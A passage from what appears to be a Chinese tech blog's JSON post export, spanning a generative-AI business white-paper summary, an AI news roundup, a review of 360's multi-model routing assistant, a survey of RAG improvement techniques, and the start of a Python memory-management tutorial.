的真正价值，在于用新的生产力打造差异化的服务和流程，建立长期竞争优势。这是一个极好的机会把数字化团队从企业的成本中心转化成为价值创造中心，从工具的实现方转变成为生产力的提供方。\n数字化团队将成为业务创新的主动策划者。\n无论是将曾经高昂的复杂人工服务成本降低，还是将难以获取的专业服务变得人人可用，或是带给客户全新的对话型交互体验，，都对重塑品牌的价值定位有极其重要的作用。\n行业成功的经验和知识都深藏在头部企业多年积累的文档、流程、人才中。相比通用的基础模型，这些独特的行业知识和经验，才是头部企业的核心竞争力所在。因此，是否能够有效地治理和应用企业独特的产业知识，将会是企业 AI 智能化成功与否的决定性因素。\n在这个过程中，数字化团队需要成为知识的治理者和使用者，而不仅是存储工具提供者。他们要深入业务一线，发掘隐藏在员工头脑、业务流程、决策过程中的关键知识，并将其提炼为结构化、可计算的形式。\n建立有竞争力的独特产业知识库是艰辛和漫长的，但是这将会是 AI 时代企业最有回报的投资。\n当企业建立起自己独特的知识壁垒，就将具备向上下游赋能以及降维打击竞争对手的能力。比如一个制造型工业企业，如果建立起涵盖供应链上下游所有核心零部件的知识库，就可 以利用 AI 优化采购决策、预测市场需求、指导产品设计，在提升自身运营效率的同时，还能够利用知识服务绑定上下游合作伙伴，构建难以复制的生态壁垒，最终获得市场的话语权和主导权。\n而支撑这种知识和洞察的，正是企业长期积累的独特数据资产。因此，AI 项目的更大价值，不仅在于解决眼前的业务问题，更在于推动企业构建自己的数据资产。\n这些数据资产，涵盖了企业内外部的结构化和非结构化数据，记录了企业运营的方方面面，蕴含了市场、客户、产品、运营的种种规律。它们不仅是 AI 实现智能化的基础，更是企业洞察先机、把握未来的关键所在，将会是AI 时代企业的立命之本。\n场景选择难，失败率高 我们亲见许多企业因为选择了困难的甚至错误的场景，导致创新团队陷入不断过度承诺和低于期待交付的恶性循环，最终甚至损坏到一个企业的创新土壤。\n在评估阶段和实施阶段，至少有以下17个问题团队应该研究清楚并互相对齐：\n科技团队和业务团队是否能对场景的业务价值、实际业务流程和 AI 的能力边界达成一 致，这对生成式 AI 项目成功至关重要。\n怎样做好 AI 项目的落地准备工作 大多数 CEO 对其组织的生成式 AI 的准备程度持有过于乐观的态度。\n生成式 AI 产品并非简单地接入大语言模型就大功告成。\n生成式 AI 落地项目并非传统的“客户 - 供应商”关系的项目，业务团队不再是被动的需求方，而是 AI 系统训练和优化过程中的重要参与者。他们既是 AI 的使用者，也是 AI模型学习的对象，需要与技术团队形成紧密的反馈闭环，不断补充场景、纠偏算法，共同“调教”AI，让其从“学生”蜕变为“专家”。这对项目组织方式和流程都提出了新的要求。\n做好生成式 AI 能力建设的长期规划 在当前，生成式 AI 的 PoC 项目的失败率依然很高，在一些企业中，AI 落地的失败率甚至超过一半。在团队能力和知识积累还不完善时，做好分阶段规划、获得成功经验对实现速赢至关重要。\n项目初期就对齐业务价值和科技发展路线 帮助业务团队形成对大模型能力的合理认知 注意统筹规划短期回报和长期目标 生成式 AI 落地不可能一蹴而就，企业要以开放和务实的心态拥抱变革。通过对业务价值的精准判断，对技术能力的客观认知，对长短期目标的统筹规划，以及对成败经验的复盘提炼，才能在 PoC 阶段高效积累,降低决策风险，加速价值变现。\n生成式 AI 团队新能力图谱 8 步实施大模型接入 最后 “\n在一项技术的早期阶段，性能进步的速度相对较慢。随着这项技术变得更加易于理解、掌控和扩散，技术改进的速度将加快\n这一代人的科技范式革命：从信息平权到智能平权 回顾过去 20 年，互联网对社会和商业的影响是颠覆性的。它催生了全新的商业模式和巨大的市场机会，也深刻改变了人们的生活方式和社会运作方式。电商、社交网络、共享经济等新业态蓬勃发展，巨头企业纷纷诞生，传统行业也在互联网的赋能下转型升级。生成式 AI作为新一代颠覆性技术，其商业化进程可能会重演互联网的发展轨迹。\n互联网通过连接世界上的每一个人，使得信息的生产、传播和获取变得前所未有的便捷和低成本，从而实现了信息的平权。而人工智能大模型，尤其是生成式 AI，正在让知识和智能也走向平权\n“\n成熟的科技总是无形的， 但成熟的科技有如电， 已经不会再带给企业任何创新红利\n最后，当 AI 技术变得无处不在、无所不能时，它将像互联网一样，成为数字社会不可或缺的底层操作系统，与商业浑然一体，进入“无形”的阶段。在这个阶段，AI 将深度融入商业和社会的方方面面，成为支撑一切活动的基础设施。人们可能已经习惯了 AI 的存在，不再把它看作一种独立的技术，而是将其视为理所当然的工具和助手。到那时，商业模式将以 AI 为基础，但 AI 本身不再带来创新红利。就像今天的互联网,它已经渗透到每个角 落，但人们关注的是由它支撑的各种应用和服务，而不是互联网技术本身。\n","date":"2024-08-05T17:49:51Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-05-sheng-cheng-shi-ai-shang-ye-luo-di-bai-pi-shu-zhai-yao/cover.jpg","permalink":"/p/2024-08-05-sheng-cheng-shi-ai-shang-ye-luo-di-bai-pi-shu-zhai-yao/","title":"生成式AI 商业落地白皮书-摘要"},{"content":"概述 在过去的一周里，人工智能领域涌现出了一系列激动人心的创新和发展。OpenAI 公司宣布即将推出其最新的 AI 驱动搜索引擎——SearchGPT。与此同时，Mistral AI 发布了其新一代旗舰模型 Mistral Large 2，并在代码和数学测试中超过了 Llama 3.1。此外，Reddit 调整了其访问政策，只允许谷歌的搜索引擎获取其内容。让我们一起来看看这些技术进步和政策变化背后的详细信息。\nSearchGPT：重塑搜索引擎体验 OpenAI 在其最新公告中透露，SearchGPT 将在搜索领域掀起一场革命。与传统搜索引擎不同，SearchGPT 不仅提供链接列表，还能更好地组织和理解搜索结果。这款搜索引擎目前还处于原型阶段，将首先向 10,000 名测试用户开放。OpenAI 正在与第三方合作伙伴以及新闻机构（如《华尔街日报》、《美联社》和 Vox Media）合作，努力将 SearchGPT 整合到 ChatGPT 中。这一合作使得 OpenAI 能够直接获取新闻内容，从而提高搜索结果的质量和相关性。\nSearchGPT 的推出被视为对现有搜索市场的一次重大冲击，其目标是重新定义用户与信息之间的互动方式。通过集成 AI 模型，OpenAI 希望 SearchGPT 不仅能为用户提供信息，还能帮助用户更好地理解和分析这些信息，从而改善决策过程。\nMistral Large 2：超越 Llama 3.1 的强大 AI 模型 Mistral AI 近日发布了其最新的 AI 模型——Mistral Large 2。这个模型拥有 1230 亿参数和 128k 的上下文窗口，支持超过 80 种编程语言和多种自然语言，包括法语、德语、西班牙语和中文。Mistral Large 2 的推出标志着 AI 技术在多语言和多功能性方面的又一次飞跃。\n在 MMLU 基准测试中，Mistral Large 2 取得了 84.0%的准确率，超越了包括 GPT-4o 和 Llama 3 在内的行业领先模型。这一结果证明了其在推理和问题解决方面的出色能力。此外，Mistral Large 2 的设计重点是减少幻觉，提高模型的可靠性和稳定性。\nMistral Large 2 可通过 Google Cloud Platform、Azure AI Studio、Amazon Bedrock 和 IBM watsonx.ai 等平台获得，并且以 mistral-large-2407 的名称在 la Plateforme 上提供。这一模型的推出不仅展示了 Mistral AI 在技术创新方面的领先地位，还为 AI 领域的研究和非商业用途提供了一个强大的工具。\n谷歌与 Reddit 的独家协议：搜索引擎市场的新动向 随着 AI 技术的快速发展，搜索引擎市场也在经历着巨大的变化。最近，Reddit 决定限制对其内容的访问，仅允许谷歌获取其最新的帖子。这一政策变化使得谷歌成为唯一能够在搜索结果中展示 Reddit 内容的引擎。\nReddit 的这一决定是为了防止其他公司在未经授权的情况下抓取其网站内容，用于 AI 模型的训练。为了获得 Reddit 的独家访问权，谷歌与 Reddit 达成了一项价值数百万美元的协议。这一协议凸显了谷歌在搜索市场的垄断地位，同时也引发了关于市场竞争和数据隐私的广泛讨论。\n这一情况不仅显示了谷歌在获取和利用用户生成内容方面的优势，也进一步巩固了其在搜索引擎市场的主导地位。然而，这一发展也引发了其他搜索引擎（如 Bing、DuckDuckGo 等）对于市场公平竞争的担忧。\n其他 AI 领域的重要进展 除了上述的重大新闻，本周 AI 领域还有其他一些值得关注的动态。例如，Adobe 推出了一系列生成性 AI 功能以增强其 Illustrator 和 Photoshop 软件的创意工作流程。此外，苹果公司发布了一款新的开源 AI 模型，希望通过开放技术促进 AI 生态系统的发展。\n在商业领域，自驾车初创公司 Pony.ai 和 WeRide 正准备在美国上市，尽管股市对自动驾驶技术的兴趣有所下降。AI 初创公司在过去五年中筹集了 415 亿美元，表明 AI 在现代化和各行业发展中将扮演重要角色。\n在 AI 研究方面，一项新的基准测试 AssistantBench 显示，当前的网页代理在处理复杂任务时表现有限。此外，AI 模型 AlphaProof 和 AlphaGeometry 2 在国际数学奥林匹克竞赛中取得了优异成绩，展示了 AI 在数学推理方面的潜力。\n结论 总体来看，本周的 AI 领域充满了创新与挑战。OpenAI、Mistral AI 和谷歌等公司通过技术突破和战略合作，在推动 AI 技术进步的同时，也引发了关于数据隐私和市场竞争的讨论。随着 AI 技术的不断发展，我们将继续关注这些动态，为未来的 AI 应用探索更多可能性。\n","date":"2024-08-04T02:38:20Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-04-ai-zhou-bao-searchgpt-mistral-large-2/cover.jpg","permalink":"/p/2024-08-04-ai-zhou-bao-searchgpt-mistral-large-2/","title":"AI 周报-SearchGPT, Mistral Large 2"},{"content":"昨天看到了一个新闻\n“360 发布 CoE 模型路由， 把国产 15 家大模型路由起来，在 AI 搜索的评测超过了 GPT4o”\n我去体验了一下 360 的 AI 助手 https://bot.360.com/（如下图），本文的全部内容都是基于对这个产品体验的有感而发。\nMoE 我们先从 MoE 说起\n什么是 MoE ? “\n混合专家模型（英语：mixture of experts，简称 MoE），或译为多专家模型，是一种机器学习技术，通过门控（gating）模型将单一任务空间划分为多个子任务，再由多个专家网络（子模型）分别处理特定的子任务，最终得到整体的预测结果。混合专家模型与集成学习有相似之处，它们都应用多个子模型来处理问题。但它们的区别在于，混合专家模型中的每个专家都是针对不同的数据子空间进行训练的，以适应不同类型的输入数据。而集成学习一般而言则是使用多种模型对整个数据空间进行训练。\n简单来说，MoE 是一种机器学习模型架构，它结合了多个专家模型（Experts）的预测。这些专家模型各自擅长处理数据的不同部分或方面，而 MoE 的主要任务是在这些专家之间动态地分配数据，以便每个数据点都能由最适合处理它的专家模型来处理。\n具体来说，Mixture-of-Experts 模型通常包含以下几个组成部分：\n专家（Experts）：一系列相对简单的模型，每个模型都在特定数据区域或任务上表现出色。 门控网络（Gating Network）：一个用于决定哪些专家应该处理哪些输入数据的模型。门控网络输出一个概率分布，指示每个专家对当前输入数据的相对重要性。 组合层（Combination Layer）：将各个专家的输出根据门控网络的概率分布进行加权组合，形成最终的预测结果。 Mixture-of-Experts 模型的优势在于它能够通过组合多个专家的力量来处理复杂的问题，同时每个专家只需专注于问题的某个方面，这有助于提高模型的泛化能力和效率。这种模型在处理具有多个模式或需要多领域知识的问题时特别有效。在实际应用中，MoE 已被用于语音识别、自然语言处理等多个领域。\n无论中外，现代流行的大语言模型基本都是 MoE 架构的。在 Mixture-of-Experts（MoE）模型中，虽然存在多个专家，但它们通常是在同一个大模型内部集成的。这些专家模型不是独立运作的，而是作为整体模型的一部分，通过特定的机制（如门控网络）协同工作。\n其实我们在日常对 AI 工具的使用过程中已经深有体会了，因为在不知不觉中，你的提问是会经由大模型内部的多个不同的 Export 处理的。\n一个大型语言模型，它被设计来处理多种不同的文本生成任务，比如写诗、编写代码、创作小说等。在这个模型中，可以包含几个不同的“专家”网络，每个网络都针对特定的任务进行了优化：\n诗歌专家：这个子网络专门针对诗歌的创作，它学习了大量的诗歌文本，因此擅长生成符合诗歌韵律和意境的内容。 编程专家：另一个子网络专注于编程语言的生成，它能够理解和生成各种编程语言的代码，理解编程逻辑和结构。 小说专家：这个子网络则专注于小说创作，它能够生成连贯的叙述、复杂的情节和丰富的人物对话。 在这样一个 MoE 架构中，每个专家网络都可以看作是大型语言模型的一部分，它们共享某些通用层，但各自拥有特定的参数和结构，以适应不同的文本生成任务。每个专家网络生成的内容会根据门控网络的权重进行组合，形成最终的输出。如果任务需要多个专家的知识，比如一个小说中包含了编程元素，门控网络可以同时激活小说专家和编程专家，并将它们的输出结合起来，以生成最合适的内容。\nCoE “\n\u0026ldquo;Collaboration-of-Experts\u0026rdquo; 强调的是模型之间的协作关系。在这种情况下，专家模型不是完全独立的，它们可能在训练过程中就相互协作，共享信息或参数，以共同学习数据特征。这种方法的目的是通过模型间的协作来提高预测性能。\nMoE 没什么新鲜的，我一说你就能明白，同理，CoE 也很好理解\n如果将 MoE 比喻成全科医院，那么这个医院有会多个不同领域的专家，比如内科专家、外科专家、妇产科专业、儿科专家等等。病人来看病，会根据检查情况被分配到不同的专家那里。\n而 CoE 就类似于一个“专家联盟“，它联盟了多个医院的顶级专家。专家都隶属于不同的医院，在联盟有需要的情况下会根据不同领域找到不同医院的这些专家。比如一个儿科的问题，联盟会找到 “专家联盟” 中公认儿科最强的专家，无论他是哪家医院的。\n这不就是 “合纵连横” 吗？\n是的，360 这次 就是要做 AI 领域的苏秦、张仪。\n合纵连横 “\n“使我有洛阳二顷田，安能佩六国相印”\n从软件时代到互联网、移动互联网时代再到 AI 时代， 360 从来都是不甘寂寞的，不挑起纷争也要加入纷争，为什么？因为利益，因为发展，因为情怀，因为所有那些可说和不可说的事情。\n有的没的就不多扯了，说回产品。其实从用户的角度，确实存在这样的需求。作为 AI 工具的深度使用者，平时我会同时打开多个工具，将一个问题，在多处提问，然后看哪个返回的 “质量”好，即使在我使用过一段时间有了“经验” ，知道哪家的哪个工具处理哪种问题是最好的情况下，我仍然可能会 “一题多问”，因为模型在升级、工具在迭代，它们时不时的总会给我惊喜，我是一个不想错过惊喜的人。尤其是这种免费的惊喜。\n你发现没，其实我就是在做 CoE 做的事情，只不过这个调度者是我自己而已，完全凭我自己的能力、经验、直觉。可能很靠谱，也可能很不靠谱。\n麻烦的是，每一次我想 “一题多问” 时，都要打开多个工具，手动提问多次，如果登录失效了，还需要先登录再提问。\n就我个人而已，我是可以写一个自动化的脚本，自动登录并打开多个网页并输入提问，然后静等各家的回答。那是因为我是程序员出身。但这个世界不止有程序员，还有那么多非技术背景的用户，我想需求是存在的，而且随着使用频率的增加会越来越突显\n那么市面上有没有类似的产品呢？有的，但不多。\n所以，从这个角度，我还是欣赏 360 的 AI 助手的，毕竟确实在满足这个需求。\n产品体验 有什么模型 ？ 既然是联合，那我们就先来看看都有哪些路神仙。\n我们来列举一下：\n智脑，就是 360 自家的模型 豆包，字节的 DeepSeek, 深度求索公司 （不熟？还记得前些日子大模型价格战，最后都降到 “白菜价”了吗？它就是“始作俑者”） MM 智能助理，Minimax 开发的 （国内首家多模态 AI 大模型创业公司，阿里投了 6 个亿啊） 通义千问，阿里的 Yi-Large，零一万物的（李开复带队孵化的 AI2.0 公司） 文心一言，你懂的 Kimi, 月之暗面 讯飞星火，科大讯飞的 商量，商汤科技的 智谱清言，清华大学计算机系技术成果转化而来的公司 百小应，百川智能（老板是搜狗的王小川） 还剩下最后一个，“AI 助手-集成多场景优势，提供全方位的服务 ”\n前面的我不说多，用过的，你们都知道好不好用，咱先说一说这个 “AI 助手”\n我本来想，既然已经集成了这么多的模型，并且你也知道各个模型的能力和优势，应该能够自己判断出使用什么模型才对啊？\n也不知道是不是我使用的问题，反正给我生成答案的模型，10 次有 8 次都是智脑，\n怎么说呢？其实我能理解，360 自己做的产品嘛，自家的权重高些很正常。但问题是，这就让我产生了不信任感，我无法完全敢让产品自己选择合适的模型，最终还是要我自己来选择才可能靠谱。当然我是一个深度用户，作为小白用户可能就无所谓了，需要的答案质量不一样嘛 。\n模型比较 从产品功能上，360 的 这个产品与其他的 AI 产品类似，都比较简洁，输入你的问题然后给你答案，哦对了，就我的测试来看，目前不支持多模态，也就是没有文生图、文生视频什么的。\n在输入框中可以选择你想使用的模型，这样就可以指定模型了\n你发现没有，不需要登录各个公司的产品了，都帮你集成好了，这点很好👍\n响应速度也是很快的。跟使用模型自家的产品一样。\n最具特点的功能就是模型比较，你可以点一下，选择一个你想比较的模型，它就会将相同的问题用你选择的模型再生成一次答案\n其实这和你在输入框选择一个模型再输入一次相同的问题一样。\n最开始，我期待的功能是像 notdiamond 那样同时给出我两个模型的答案，让我自己看哪个更好，比如这样：\n顺便说一下 ，notdiamond 也是支持多个模型的 CoE 模式产品。\n虽然你在 360 AI 助手上达到的效果是类似的，但体验上我感觉不如 notdiamond ，再顺便说一句，Not Diamond 上周在 Product Hunt 拿到第一\n最后 综合来说 ， “15 个国产模型联合起来，终于打败了 GPT4o” 这个事儿，是技术上的，对用户来说，可能是一个曲折的过程，虽然理论上是可以的。\n但好处是，至少现在我不用登录各家的产品了，可以在一个门面网站使用全部好用的模型了，这很好。\n未来，我觉得这个产品的思路还是正确的，以此为基础未来添加更多好用的模型，形成平台及生态 不断升级路由的策略，让产品更“智能” 。这样的话，这个产品未来的希望还是大大的。\n令人担心的是， 未来 360 对自家模型使用权重的考虑上，是否还是和现在一样，能否做到相对的公平？\n不过，对于一个悲观底色的乐观主义者来说，我想借用雷总的那句话来结束本文 ：“永远相信美好的事情即将发生”\n参考 https://huggingface.co/blog/zh/moe ","date":"2024-08-03T10:43:04Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-08-03-ai-jie-de-su-qin-zhang-yi-hui-cheng-gong-ma/cover.jpg","permalink":"/p/2024-08-03-ai-jie-de-su-qin-zhang-yi-hui-cheng-gong-ma/","title":"AI 界的苏秦、张仪会成功吗？"},{"content":"引言 随着大型语言模型（LLM）的出现，人们对更好搜索能力的需求催生了新的搜索方法。虽然基于关键字的传统搜索方法和推荐系统在某种程度上是有效的，但 LLM 的出现将搜索能力提升到了一个新的水平。尽管这个话题相对较新，但已经有很多研究成果发表。在这篇文章中，我将尝试总结一些流行的技术，这些技术被用来提升检索增强生成（RAG）系统的性能和输出的相关性。\n尽管我会尽量涵盖许多好的想法，但实际上还有更多方法可以用来提高 RAG 系统的质量，比如利用知识图谱来增强 RAG\nRAG 存在的问题 RAG 的概念是由 Lewis 于 2020 年在这篇论文中提出的：https://arxiv.org/abs/2005.11401?trk=article-ssr-frontend-pulse_little-text-block。\n他建议在知识密集型任务中，利用 LLM 从源文档中检索相关信息，并结合 LLM 理解这些信息的能力来生成搜索结果，这样做是非常有益的。\n简单来说，RAG 系统的基本步骤包括：\n用户查询信息； 系统搜索可能包含查询答案的文档并进行检索； 将检索到的文档作为上下文，与搜索查询一起输入 LLM； LLM 理解提示，吸收文档中的信息，并生成查询的答案。 这个概念解决了一些问题，否则在某些有限数据上训练的 LLM 可能会遇到困难。例如，如果查询中提到的信息是 LLM 从未接触过的，那么提示可能会导致错误的答案。LLM 可能没有查询所需的详细信息。此外，LLM 有时会生成不正确的信息（称为幻觉）。如果使用的 LLM 没有根据企业内部信息进行训练，那么针对企业特定问题的查询也可能导致错误答案。\n幻觉和准确性问题 在研究 RAG 系统的初期，为了增强搜索结果，提出了一种解决方案，即使用额外的文档（例如特定于组织、特定于主题或仅使用最新信息）对 LLM 进行微调。这种技术被称为 fine-tuning 。然而，由于多种原因，这一想法很快失去了动力。使用额外文档来训练 LLM 的成本非常高，并不是每个组织都有资源和时间来管理额外的培训。即使组织有能力进行这样的培训，使用最新文档进行重新培训的需求也会变成一个重复的过程，组织将不得不参与不经济的持续 LLM 培训。\nRAG 研究的重点是回答以下问题：\n检索什么； 如何检索； 检索多少； 如何在检索之前存储这些数据； 如何将检索到的数据馈送到 LLM，包括馈送数据的顺序； 如何生成输出； 如何在最终选择显示答案之前对答案进行排序（如果答案有多个）。 最基本和最早的 RAG 框架专注于索引、检索和生成。索引涉及在输入 LLM 之前如何收集、清理、存储和准备数据。数据可以是多种格式，包括 doc、pdf、jpg、png、mp4 等。数据首先被转换为明文，然后文本被分成小块，比如几个单词、句子或段落，称为 chunks ，因此称为 process of chunking。这些块使用标准嵌入模型（embedding）转换为向量表示。最后，文本块和相关向量嵌入在向量数据库中作为键值对进行索引。\n检索过程则是用户输入查询作为提示，并将查询转换为向量表示。通过相似度索引，系统识别与查询相似的文档的向量表示，并检索前 K 个文档。\n查询和前 K 个文档被馈送到 LLM 系统，以生成查询的适当答案。根据模型的训练，RAG 系统将利用模型的参数记忆来生成答案，或者使用提供的文档来同化和生成答案。\n然而，上述简单化的方法存在一些弱点。检索过程的精度可能较低，这意味着一些检索到的文档可能是错误的。系统可能无法识别所有相关文档，导致召回率低。 此外，RAG 系统需要访问最新的文档。如果文档数据库不是最新的，系统将无法给出最佳答案。在生成方面，系统可能会面临更多问题。可能会出现幻觉，如果没有足够的护栏，系统可能会生成不相关、有毒、有偏见或令人反感的内容，这可能会破坏目的。此外，在某些情况下，当检索到不相关的信息并将其提供给 LLM 时，系统可能会生成脱节、重复或不相关的答案。检索到的文档中的语气、时态和第一/第三人称写作风格的差异也会混淆 LLM，导致生成次优答案。\n在一些简单的 RAG 系统中，输出可能过度依赖于增强的信息，可能只输出输入上下文的提取，而不是合成以获得更好的输出。此外，选择的前 K 个文档应该不超过上下文窗口的大小，否则可能会引入噪音并失去对相关信息的关注。在一篇论文中(https://arxiv.org/pdf/2310.05029)，作者提出了一种减少上下文窗口但保持高生成有效性的方法。\n在一种称为 MemWalker 的方法中，上下文窗口被转换为文档连接摘要节点的树。当 LLM 收到查询时，模型遍历树以识别对回答查询有用的相关摘要。一旦获得相关摘要，模型就会执行查询以生成答案。\n最佳实践 为了设计最佳的 RAG 系统并获得最佳结果，以下实践将有所帮助。\n改进索引：更好的文档分块可以提高索引的质量。将文档分解为合适大小的块将有助于识别正确的嵌入和索引。存在许多合适大小的分块策略。例如：\n所有块都具有相同的大小，例如 100 个标记； 每个页面、段落或句子将是一个块； 混合和匹配，即包括各种大小。 尽管较小的块大小可能会提高检索的准确性，但转换为嵌入和存储的成本会迅速上升。优化分块以匹配 LLM 的功能也很重要。一些 LLM 有更长或更短的接触长度限制。RAG 任务的模式也会影响分块策略。如果 RAG 的目标是回答问题与搜索文档，则分块大小会有所不同。将元数据添加到数据中，比如日期、目的、作者、文档风格（报告、书籍、博客等）、原始语言等，将有助于提高查询的准确性。\n搜索和检索：除了检索相似的向量之外，我们还可以使用关键字和其他元数据来检索文档，从而丰富馈送到 LLM 的文档上下文。传统的搜索方法也可以用来检索文档。语义搜索也可以用来增强搜索的有效性。当检索到多个文档时，需要使用一些排名机制，以便在生成之前只向系统提供前 K 个文档。此外，在某些情况下，从业者会使用搜索引擎（或其他类似的）系统来检索最新信息，以提供给 RAG 系统。\n图数据库：为了检索正确的文档，并非所有从业者都喜欢使用向量搜索。一些从业者使用图数据库来查找与相关文档的关系。在图数据库中，文档及其关系被转换为节点和边。这种方法可以更快地检索并提高检索到的文档的相关性。\n微调 LLM：在某些情况下，从业者通过微调相关信息的 LLM 来提高检索的有效性。例如，在医疗保健应用中，如果 LLM 被微调以理解医疗保健信息，然后用于生成答案，LLM 可以更好地理解提供的上下文，因为它已经针对相关信息进行了微调。\nprompt 优化：许多用户输入的提示可能包含很多噪音，导致模型理解效率低下。可以使用一个小型 LLM 来清理和重写提示，以增强有效性。这种清理突出了查询的要点，消除了冗余，并压缩了提示的大小。一些从业者也通过使用提示摘要来完成提示清理。\nRAG 融合：在一篇优秀的博客中，作者谈到了 RAG 融合（https://towardsdatascience.com/forget-rag-the-future-is-rag-fusion-1147298d8ad1），其中从原始提示生成多个提示。这些多个提示突出了焦点的不同视角，也增强了主查询的焦点区域，以丰富提示以获得更好的答案。对于多个查询，可以应用重新排名器来选择更好的查询。\n查询路由：组织将其数据存储在多个数据库中。例如，向量数据库将包含向量化的数据。类似地，还有图形数据库和关系数据库，后者将包含结构化数据。最新和流数据可以收集在高质量的数据湖中。不同类型的数据，如文档、PDF、JPEG、MP4 等，存储在不同的数据库中。当 RAG 融合创建多个查询时，将查询路由到正确的数据源集以进行高效检索是从业者需要做的另一个步骤。\n查询重写：用户通常不擅长编写好的、优化的查询。为什么不借助 LLM 重写查询以提高其质量，从而提升检索质量呢？\nRAG 和 GAR（检索增强生成和生成增强检索）：在一篇论文中（https://arxiv.org/pdf/2305.15294），作者提出了一种创新的方法，迭代增强查询并将其输入 RAG 系统以生成更好的答案，这反过来又用于创建更好的查询，增强查询用于生成更好的答案。\n微调嵌入模型：使用基于相关数据进行微调的嵌入模型来生成提示和存储数据的嵌入，可以提高检索系统的有效性。例如，在单独根据维基百科数据训练的准系统 LLM 和根据医疗保健信息进行微调的相同模型之间，后者会创建更好的嵌入。\n检索-读取 vs 检索-生成-再读取：在另一篇论文中(https://arxiv.org/pdf/2209.10063)，作者建议对传统的 LLM 检索和阅读以生成答案的顺序进行改进。在他们的 GenRead 方法中，作者建议首先从检索到的文档中创建上下文，并提供清理后的上下文版本以生成答案。这减少了冗余和噪音。\n假设文档嵌入：在论文中的另一种引人注目的方法中，作者主张创建一个假设文档，声称包含查询的答案。这个假设文档可能包含答案附近的信息，有时甚至可能有错误。然后这个文档被编码到嵌入向量中。在向量化文档数据库中搜索这个假设文档向量的邻域向量。检索到的向量被输入 LLM 以获得准确的答案。这种方法被称为假设文档检索。作者发现这种方法在各种任务和语言中显示出惊人的准确结果。\n父文档检索器：在一个博客中，作者主张创建子文档（较大文档的较小块）并对其进行向量化。当子向量被检索时，相关的父文档被访问并馈送到 LLM 中以获得更好的查询响应。\n摘要：一些从业者还建议在将文档输入系统之前使用摘要。例如，如果检索结果是多个文档，为了节省成本，可以将检索到的文档的摘要版本输入系统，以提供更好的上下文并减少幻觉的可能性。\n“中间迷失”（Lost in the Middle）综合症：当 LLM 被输入更大的上下文窗口时，它们会表现出一种称为“迷失在中间”的行为，LLM 会更多地关注开始和结束时可用的信息，而中间部分则可能被忽视。为了避免 LIM 综合症，从业者可以在输入系统之前在几次迭代中重新排列数据。\n多样性排名：文档将按照其内容多样性的顺序提供。文档越多样化，它们就越相互靠近，让 LLM 得到信息的分布。这种方法希望 LLM 生成一个更加平衡和多样化的答案，更接近查询的要求。这里有“中间迷失”（LIM）排名器和多样性排名器的实现。请查看 Cohere Re-ranker 的相关内容。此外，请查看关于检索器和重新排名器的精彩博客。\n参考 https://huyenchip.com/2023/04/11/llm-engineering.html?trk=article-ssr-frontend-pulse_little-text-block https://www.anyscale.com/blog/a-comprehensive-guide-for-building-rag-based-llm-applications-part-1?trk=article-ssr-frontend-pulse_little-text-block https://blogs.nvidia.com/blog/category/enterprise/deep-learning/ https://www.llamaindex.ai/blog/a-cheat-sheet-and-some-recipes-for-building-advanced-rag-803a9d94c41b?trk=article-ssr-frontend-pulse_little-text-block https://github.com/langchain-ai/langchain/blob/master/cookbook/Semi_structured_multi_modal_RAG_LLaMA2.ipynb?ref=blog.langchain.dev\u0026amp;trk=article-ssr-frontend-pulse_little-text-block https://python.langchain.com/v0.1/docs/modules/data_connection/retrievers/multi_vector/?ref=blog.langchain.dev\u0026amp;trk=article-ssr-frontend-pulse_little-text-block https://blog.langchain.dev/semi-structured-multi-modal-rag/?trk=article-ssr-frontend-pulse_little-text-block https://www.anyscale.com/blog/a-comprehensive-guide-for-building-rag-based-llm-applications-part-1?trk=article-ssr-frontend-pulse_little-text-block ","date":"2024-07-31T03:03:39Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2024-07-31-rag-jian-suo-zeng-qiang-sheng-cheng-xi-tong-de-wen-ti-ji-jie/cover.jpg","permalink":"/p/2024-07-31-rag-jian-suo-zeng-qiang-sheng-cheng-xi-tong-de-wen-ti-ji-jie/","title":"RAG（检索增强生成）系统的问题及解决思路"},{"content":"引言 在 Python 编程中，内存管理是一个关键但常常被忽略的主题。本系列文章将深入探讨 Python 内存管理的方方面面。\nPython 的内存魔法 Python 简化了内存管理，我们无需手动分配或释放内存。那么，这些操作背后的原理是什么？我们是否需要关注它们呢？本文将解答这些问题，并探讨常见的内存管理相关问题。\n什么是指针及其在 Python 中的位置 首先，我们需要了解命名空间的概念。命名空间是 Python 在某一时刻内所有变量、关键词和函数的集合。例如，print() 和 str() 等内置函数总是存在于每个命名空间中。\n命名空间提供了在项目中避免名字冲突的一种方法。各个命名空间是独立的，没有任何关系的，所以一个命名空间中不能有重名，但不同的命名空间是可以重名而没有任何影响。\n一般有三种命名空间：\n内置名称（built-in names）， Python 语言内置的名称，比如函数名 abs、char 和异常名称 BaseException、Exception 等等。 全局名称（global names），模块中定义的名称，记录了模块的变量，包括函数、类、其它导入的模块、模块级的变量和常量。 局部名称（local names），函数中定义的名称，记录了函数的变量，包括函数的参数和局部定义的变量。（类中定义的也是） 命名空间查找顺序: 局部的命名空间 -\u0026gt; 全局命名空间 -\u0026gt; 内置命名空间\n当我们创建一个新变量时，该变量的名称会被添加到其所在的命名空间中。例如：\n1my_string = \u0026#34;Hello World!\u0026#34; 在这个例子中，指针是 my_string，而内存中的对象是字符串 \u0026quot;Hello World!\u0026quot;。通过在命名空间中使用指针，我们可以访问和操作内存中的对象。\n指针别名 指针别名是指多个指针指向同一个内存对象的现象。例如：\n1a = [\u0026#34;string\u0026#34;, 42] 2b = a 3b[0] = \u0026#34;some words\u0026#34; 4print(a) # 输出：[\u0026#34;some words\u0026#34;, 42] 在这里，a 和 b 都指向同一个列表对象。因此，修改 b 的内容也会影响 a。\n浅拷贝与深拷贝 如果我们希望创建一个新列表对象，并且修改该列表不会影响原列表，可以使用 copy 方法：\n1c = a.copy() 2c[0] = \u0026#34;hello!\u0026#34; 3print(a) # 输出：[\u0026#34;some words\u0026#34;, 42] 然而，如果列表中的元素是可变对象，例如嵌套列表，浅拷贝并不能避免指针别名问题。此时需要使用 deepcopy 方法：\n1from copy import deepcopy 2d = deepcopy(a) 3d[0].append(\u0026#34;new element\u0026#34;) 4print(a[0]) # 输出：[\u0026#34;some words\u0026#34;] deepcopy 方法会递归创建每个对象的副本，从而避免任何层级的指针别名问题。\n浅拷贝：复制对象，但不复制对象中的可变成员。原对象和新对象共享可变成员的引用。 